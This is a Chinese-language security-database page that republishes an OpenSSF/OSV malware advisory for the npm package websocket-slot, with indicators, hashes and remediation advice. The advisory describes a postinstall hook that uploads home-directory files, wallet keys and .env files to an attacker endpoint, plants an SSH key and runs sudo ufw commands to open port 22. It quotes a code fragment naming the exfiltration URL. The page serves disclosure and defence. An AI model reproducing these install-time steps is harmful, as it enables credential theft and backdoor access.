目标达成 感谢每一位支持者 — 我们达成了 100% 目标!

目标: 1000 元 · 已筹: 1359 元

100%
← 返回恶意软件包
npm active

websocket-slot

MAL-2026-5530
2026-06-16 01:33:21
OpenSSF Malicious Packages
该软件包被识别为恶意包。建议隔离受影响环境,并排查凭据泄露和异常网络连接。

Summary

Malicious code in websocket-slot (npm)

凭据/密钥窃取远程访问后门安装阶段执行文件/数据外传
AI 分析整理qwen3.6
基于上游报告生成,请以下方原始证据为准。
公开使用量数据
统计周期
last-week
下载量
9
数据源
npmjs.org
下载量只代表仓库活动度,不等于已被入侵的安装数量。
受影响版本
EcosystemPackageVersion
npmwebsocket-slot*
npmwebsocket-slot0.0.6
恶意行为说明OpenSSF OSV
上游来源证据
展开原始 OSV JSON
{"modified":"2026-06-16T01:33:21Z","published":"2026-06-10T18:41:52Z","schema_version":"1.7.4","id":"MAL-2026-5530","aliases":["GHSA-27vg-w6vw-2rq8"],"summary":"Malicious code in websocket-slot (npm)","details":"\n---\n_-= Per source details. Do not edit below this line.=-_\n\n## Source: amazon-inspector (c15c40b8371646f167ffa7d5a2ba2c8d0fd454ef7054eeb41807a1a3eda8e7a6)\nOn `npm install`, this package runs `node test.js` via `scripts.postinstall`, which executes the logic in `index.js`. The postinstall behavior performs three distinct installer-side attacks: (1) it recursively walks the installer's home directory (and on Windows, non-C: drives plus C:\\Users\\), matching files against a remotely-fetched pattern list, then POSTs each matched file plus username/platform metadata to `http://cloudflare-prevention.vercel.app/api/v1` via FormData (`batchUpload(found, \"http://cloudflare-prevention.vercel.app/api/v1\", success)`); (2) on Linux, `addSshKeyToUser` fetches an attacker-supplied SSH public key from `http://cloudflare-prevention.vercel.app/api/ssh-key` and appends it to `~/.ssh/authorized_keys` with mode 0600, then runs `sudo ufw enable` and `sudo ufw allow 22/tcp` to ensure inbound SSH is reachable — giving the operator persistent remote root-equivalent access to the host; (3) `from_str_1` recursively scans `process.cwd()` for `id.json` (Solana wallet keypair), `config.toml`/`Config.toml`, `env`, and `.env`, uploading each match to a sibling endpoint. Scan patterns, block patterns, and the SSH key are all fetched over plain HTTP from `cloudflare-prevention.vercel.app` — a Vercel-hosted lookalike of a Cloudflare-branded service — meaning the operator can mutate which files are exfiltrated and which key is granted SSH access at any time.\n\n## Source: ghsa-malware (4e0f6d8b0cf401a707b6dfec19e238c001ea685edfcbb94d388c80983826ab78)\nAny computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.\n","affected":[{"package":{"ecosystem":"npm","name":"websocket-slot"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0"}]}],"versions":["0.0.6"],"database_specific":{"cwes":[{"cweId":"CWE-506","description":"The product contains code that appears to be malicious in nature.","name":"Embedded Malicious Code"},{"cweId":"CWE-506","description":"The product contains code that appears to be malicious in nature.","name":"Embedded Malicious Code"}],"indicators":{"domains":["cloudflare-prevention.vercel.app"],"evidence_files":[{"path":"index.js","sha256":"79aa5a78c3be61c42af94f1d4cff38f4752c458546d1033560f5f4008ef6b127","tlsh":"26f186d891772661cf7233b85a13110dfbdac13339028651b6dc86497f7b52861e2eed"}],"package_integrity":[{"filename":"websocket-slot-0.0.6.tgz","hashes":{"sha1":"c9d325aaccf45f3a2478b1c95fddac36681e7af7","sha512_sri":"sha512-6XJ00jmf84Iec/zg+VkO7qbCCa4WL+FCoWuukGLsulodAcTAjWDbYmhBb+gByuuZAdy30GlGhAZnj4WsZK9D7g=="}}]}}}],"references":[{"type":"PACKAGE","url":"https://www.npmjs.com/package/websocket-slot/v/0.0.6"},{"type":"ADVISORY","url":"https://github.com/advisories/GHSA-27vg-w6vw-2rq8"}],"credits":[{"name":"Amazon Inspector","type":"FINDER","contact":["inspector-research@amazon.com"]}],"database_specific":{"malicious-packages-origins":[{"source":"amazon-inspector","sha256":"c15c40b8371646f167ffa7d5a2ba2c8d0fd454ef7054eeb41807a1a3eda8e7a6","import_time":"2026-06-10T19:23:48.620586854Z","id":"IN-MAL-2026-005292","modified_time":"2026-06-10T18:41:52Z","versions":["0.0.6"]},{"source":"amazon-inspector","sha256":"dff2c6c0da62db10517f42af8f1e926122d31e7500e7bccbe2f41fb1fe905eb0","import_time":"2026-06-10T19:23:48.691599234Z","id":"IN-MAL-2026-005293","modified_time":"2026-06-10T18:41:53Z","versions":["0.0.6"]},{"source":"ghsa-malware","sha256":"4e0f6d8b0cf401a707b6dfec19e238c001ea685edfcbb94d388c80983826ab78","import_time":"2026-06-16T01:31:34.702014955Z","id":"GHSA-27vg-w6vw-2rq8","modified_time":"2026-06-16T00:00:45Z","ranges":[{"type":"SEMVER","events":[{"introduced":"0"}]}]}]}}

数据来源:OpenSSF Malicious Packages · Apache-2.0